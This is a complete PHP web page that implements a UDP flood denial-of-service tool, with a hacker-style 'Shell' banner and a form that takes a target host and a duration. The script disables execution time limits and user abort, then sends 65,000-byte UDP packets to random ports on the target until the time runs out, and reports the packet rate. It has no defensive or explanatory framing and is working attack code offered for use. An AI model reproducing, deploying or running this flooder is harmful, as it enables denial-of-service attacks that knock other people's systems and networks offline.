PHP UDP FLooder

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<head>
DoS
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<body>
<center>
<font color="00FF00">
<pre>
__ _    _ _
/ ____| |  | | |
(___ | |__   ___| | |
\___ \| '_ \ / _ \ | |
__ _) | | | |  __/ | |
__/|_| |_|\___|_|_|
</pre>
<STYLE>
input{
background-color: #00FF00; font-size: 8pt; color: black; font-family: Tahoma; border: 1 solid #66;
}
button{
background-color: #00FF00; font-size: 8pt; color: black; font-family: Tahoma; border: 1 solid #66;
}
body {
background-color: black;
}
</style>
<?php


//UDP
if(isset($_GET['host'])&&isset($_GET['time'])){
    $packets = 0;
    ignore_user_abort(TRUE);
    set_time_limit(0);

    $exec_time = $_GET['time'];

    $time = time();
    //print "Started: ".time('d-m-y h:i:s')."<br>";
    $max_time = $time+$exec_time;

    $host = $_GET['host'];

    for($i=0;$i<65000;$i++){
    $out .= 'X';
    }
    while(1){
    $packets++;
    if(time() > $max_time){
    break;
    }
    $rand = rand(1,65000);
    $fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
    if($fp){
    fwrite($fp, $out);
    fclose($fp);
    }
    }
    echo "<br><b>UDP Flood</b><br>Completed with $packets (" . round(($packets*65)/1024, 2) . " MB) packets averaging ". round($packets/$exec_time, 2) . " packets per second \n";
    echo '<br><br>
  <form action="'.$surl.'" method=GET>
  <input type="hidden" name="act" value="phptools">
  Host: <br><input type=text name=host><br>
  Length (seconds): <br><input type=text name=time><br>
  <input type=submit value=Go></form>';
}else{ echo '<br><b>UDP Flood</b><br>
    <form action=? method=GET>
    <input type="hidden" name="act" value="phptools">
    Host: <br><input type=text name=host value=><br>
    Length (seconds): <br><input type=text name=time value=><br><br>
    <input type=submit value=Go></form>';
}


?>
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